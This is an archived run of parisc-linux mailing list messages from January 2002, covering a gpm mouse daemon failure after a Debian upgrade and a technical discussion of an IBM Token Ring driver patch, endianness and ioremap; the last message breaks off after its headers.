Message-ID: <1011117789.3c446eddddc77@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620971 1208 80.91.229.3 (22 Nov 2014 01:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 11:03:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0705F482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 11:03:12 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16QXvR-0001Zv-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 19:03:09 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13751

Hi all,

I do my daily apt-get dist-upgrade which update my gpm package to release indice
-9 and it failled to start with daemons.log following error messages:

Jan 15 14:00:35 palinux /usr/sbin/gpm[184]: PS/2 mouse failed init
Jan 15 14:00:35 palinux /usr/sbin/gpm[184]: oops() invoked from gpm.c(1019)
Jan 15 14:00:35 palinux /usr/sbin/gpm[184]: mouse initialization failed:
Inappropriate ioctl for device
Jan 15 14:02:10 palinux /usr/sbin/gpm[241]: PS/2 mouse failed init: Unable to
set 1:1 scale.
Jan 15 14:02:10 palinux /usr/sbin/gpm[241]: oops() invoked from gpm.c(1019)
Jan 15 14:02:10 palinux /usr/sbin/gpm[241]: mouse initialization failed:
Resource temporarily unavailable

Same problem with all kernel, so came back to release -5 and it works back

Any idea (it is only hppa problem?) ?

Thanks in advance for help,
        joel


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 10:11:58 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20020115181158.GT3247@tausq.org>
References: <Pine.LNX.4.43.0201142041450.7418-200000@alpha.bocc.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620972 1210 80.91.229.3 (22 Nov 2014 01:49:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:32 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 11:12:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41743482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 11:12:24 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id cxtikaaa for parisc-linux@lists.parisc-linux.org; Tue, 15 Jan 2002 11:12:29 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16QY3y-0006lQ-00; Tue, 15 Jan 2002 10:11:58 -0800
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.43.0201142041450.7418-200000@alpha.bocc.de>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13752

> this patch fixes some endianess issues of the current ibmtr driver. 
> Although the current uses of htons() etc look correct, they are not: the 
> writew/readw API already do the byte swap on big endian machines.

the write/read macros are defined for pci accesses, and as such take a
LE point of view with respect to memory accesses. I take it that you are
not accessing a PCI device, so that's why you are having problems with
endianess.  I suspect your patch will break the driver on PCI devices...
(assuming there are both PCI and [E]ISA versions of the device that
share the same driver).

> Additionally, i added a switch to turn off IPv4 summing. This might be 
> needed for IPv6 and is absolutely necessary on HP PARISC platform with the 
> current broken ioremap implementation. The IPv4 summing is the only place 
> in the driver that accesses memory directly without the readX or 
> memcpy_fromio macros.

How is ioremap broken? (Just curious). From what I understand ioremap is
currently a nop in the parisc-linux vm/io design.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gpm 1.19.6-9 Broken?
Date: Tue, 15 Jan 2002 18:15:18 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk>
References: <1011117789.3c446eddddc77@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620972 1212 80.91.229.3 (22 Nov 2014 01:49:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 11:15:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE4D5482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 11:15:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16QY7C-0000LR-00; Tue, 15 Jan 2002 18:15:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1011117789.3c446eddddc77@webmail.tiscali.be>; from joel.soete@freebel.net on Tue, Jan 15, 2002 at 07:03:09PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13753

On Tue, Jan 15, 2002 at 07:03:09PM +0100, joel.soete@freebel.net wrote:
> I do my daily apt-get dist-upgrade which update my gpm package to release indice
> -9 and it failled to start with daemons.log following error messages:

I suggest you file a bug against the debian gpm package (see
http://www.debian.org/Bugs/).  Since you've clearly narrowed it down to
gpm, it's really up to that package's maintainer.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 18:18:41 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20020115181841.G19567@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.43.0201142041450.7418-200000@alpha.bocc.de> <20020115181158.GT3247@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620972 1216 80.91.229.3 (22 Nov 2014 01:49:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:32 +0000 (UTC)
Cc: Jochen Friedrich <jochen@scram.de>, linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 11:18:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B75F482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 11:18:43 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16QYAT-0000O4-00; Tue, 15 Jan 2002 18:18:41 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020115181158.GT3247@tausq.org>; from randolph@tausq.org on Tue, Jan 15, 2002 at 10:11:58AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13754

On Tue, Jan 15, 2002 at 10:11:58AM -0800, Randolph Chung wrote:
> > Additionally, i added a switch to turn off IPv4 summing. This might be 
> > needed for IPv6 and is absolutely necessary on HP PARISC platform with the 
> > current broken ioremap implementation. The IPv4 summing is the only place 
> > in the driver that accesses memory directly without the readX or 
> > memcpy_fromio macros.
> 
> How is ioremap broken? (Just curious). From what I understand ioremap is
> currently a nop in the parisc-linux vm/io design.

it's not broken, the assumptions in ibmtr are.  after you've ioremapped
a region, you can call readb/writeb on it.  ibmtr assumes you can just
do direct memory accesses.  now, this is something we want to fix,
but it's not a bug in the PA code.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 20:07:55 +0100 (CET)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0201152004580.11606-100000@alpha.bocc.de>
References: <20020115181158.GT3247@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620973 1218 80.91.229.3 (22 Nov 2014 01:49:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:33 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 12:08:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0F1B482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 12:08:36 -0700 (MST)
Original-Received: from p5080CDA8.dip.t-dialin.net (p5080CDA8.dip.t-dialin.net [80.128.205.168])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0FJ88j09545;
	Tue, 15 Jan 2002 20:08:09 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20020115181158.GT3247@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13755

Hi Randolph,

> I suspect your patch will break the driver on PCI devices...
> (assuming there are both PCI and [E]ISA versions of the device that
> share the same driver).

Nope, it's ISA and PCMCIA only. And LE stays LE on PCI devices, as well.

--jochen





From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 20:12:45 +0100 (CET)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0201152008360.11606-100000@alpha.bocc.de>
References: <20020115181841.G19567@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620973 1219 80.91.229.3 (22 Nov 2014 01:49:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:33 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>, <linux-tr@linuxtr.net>,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 12:13:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C664482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 12:13:09 -0700 (MST)
Original-Received: from p5080CDA8.dip.t-dialin.net (p5080CDA8.dip.t-dialin.net [80.128.205.168])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0FJCwj09645;
	Tue, 15 Jan 2002 20:12:58 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20020115181841.G19567@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13756

Hi Matthew,

> > How is ioremap broken? (Just curious). From what I understand ioremap is
> > currently a nop in the parisc-linux vm/io design.
> 
> it's not broken, the assumptions in ibmtr are.  after you've ioremapped
> a region, you can call readb/writeb on it.  ibmtr assumes you can just
> do direct memory accesses.  now, this is something we want to fix,
> but it's not a bug in the PA code.

Then maybe it's best to define the TR_CHECKSUM macro to 0 as default with 
an exception of architectures where the above assumption in true (i.e. 
alpha, i386 and maybe ppc, as well) to gain the extra performance boost of 
the IPv4 pre summarisation.

--jochen





From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mike_phillips@urscorp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-tr] Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 15:10:50 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <OF2127EDE6.9F97A3EC-ON85256B42.00699E6F@urscorp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620973 1221 80.91.229.3 (22 Nov 2014 01:49:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:33 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>,
	Randolph Chung <randolph@tausq.org>, jochen@scram.de
To: linux-tr@linuxtr.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 13:17:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp102.urscorp.com (smtp102.urscorp.com [65.207.129.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 835F2482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 13:17:30 -0700 (MST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on SMTP102/URSCorp(Release 5.0.5 |September 22, 2000) at
 01/15/2002 03:14:57 PM,
	Serialize complete at 01/15/2002 03:14:57 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13757

> Nope, it's ISA and PCMCIA only.

And MCA.....

Mike




From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mike_phillips@urscorp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-tr] Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 15:10:47 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <OF92E3B858.7A575C3D-ON85256B42.0068A37B@urscorp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620974 1224 80.91.229.3 (22 Nov 2014 01:49:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:34 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>,
	Randolph Chung <randolph@tausq.org>,
	Matthew Wilcox <willy@debian.org>, jochen@scram.de
To: linux-tr@linuxtr.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 13:17:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp102.urscorp.com (smtp102.urscorp.com [65.207.129.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id E37A5482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 13:17:30 -0700 (MST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on SMTP102/URSCorp(Release 5.0.5 |September 22, 2000) at
 01/15/2002 03:14:57 PM,
	Serialize complete at 01/15/2002 03:14:57 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13758

>> it's not broken, the assumptions in ibmtr are.  after you've ioremapped
>> a region, you can call readb/writeb on it.  ibmtr assumes you can just
>> do direct memory accesses.  now, this is something we want to fix,
>> but it's not a bug in the PA code.

Its in ibmtr purely for historical reasons, the driver is quite old and 
was around before the other architectures really came on stream, so we 
never had to worry about issues like this. 

>Then maybe it's best to define the TR_CHECKSUM macro to 0 as default with 

>an exception of architectures where the above assumption in true (i.e. 
>alpha, i386 and maybe ppc, as well) to gain the extra performance boost 
of 
>the IPv4 pre summarisation.

Possibly better to define it based upon the architecture in the code 
itself, either that or remove it altogether. Again because of the age of 
the driver this may be in there for a reason that is not valid anymore.

What I have to ensure is that we don't lose any functionality that we 
already have, i.e. a change for parisc stops i386/alpha/etc from working. 
Also, the pcmcia driver ibmtr_cs relies on ibmtr and, being pcmcia, can be 
used on more architectures and all changes to ibmtr have to be double 
checked against ibmtr_cs. 

Just out of interest, which t/r chipset does the token ring adapter for 
the old 712's use ? If its the tropic chipset I can test on my 712/80. 

Mike Phillips
Linux Token Ring Project
http://www.linuxtr.net



From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-tr] Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 21:28:13 +0100 (CET)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0201152120370.11606-100000@alpha.bocc.de>
References: <OF92E3B858.7A575C3D-ON85256B42.0068A37B@urscorp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620974 1228 80.91.229.3 (22 Nov 2014 01:49:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:34 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>,
	Randolph Chung <randolph@tausq.org>,
	Matthew Wilcox <willy@debian.org>
To: mike_phillips@urscorp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 13:28:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BFE6482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 13:28:42 -0700 (MST)
Original-Received: from pD9E01E5C.dip.t-dialin.net (pD9E01E5C.dip.t-dialin.net [217.224.30.92])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0FKSRj10983;
	Tue, 15 Jan 2002 21:28:27 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <OF92E3B858.7A575C3D-ON85256B42.0068A37B@urscorp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13759

Hi Mike,

> What I have to ensure is that we don't lose any functionality that we 
> already have, i.e. a change for parisc stops i386/alpha/etc from working. 
> Also, the pcmcia driver ibmtr_cs relies on ibmtr and, being pcmcia, can be 
> used on more architectures and all changes to ibmtr have to be double 
> checked against ibmtr_cs. 

That's what i did for the changes. I tested them on an Auto 16/4 ISA card 
in a HP 9000/720 and on an Auto 16/4 PCMCIA card in an i586 Laptop. 

I guess the pre-summarisation is there for performance reasons. In 
particular on older architectures, it's probably faster to copy and 
calculate the IPv4 checksum in the same step than to copy and checksum in 
two seperate steps. I'm not sure, if this is still true and if someone 
benchmarked the difference.

> Just out of interest, which t/r chipset does the token ring adapter for 
> the old 712's use ? If its the tropic chipset I can test on my 712/80. 

No clue. I'm just using a spare ISA card in the EISA slot...

--jochen




From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-tr] Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 21:32:38 +0100 (CET)
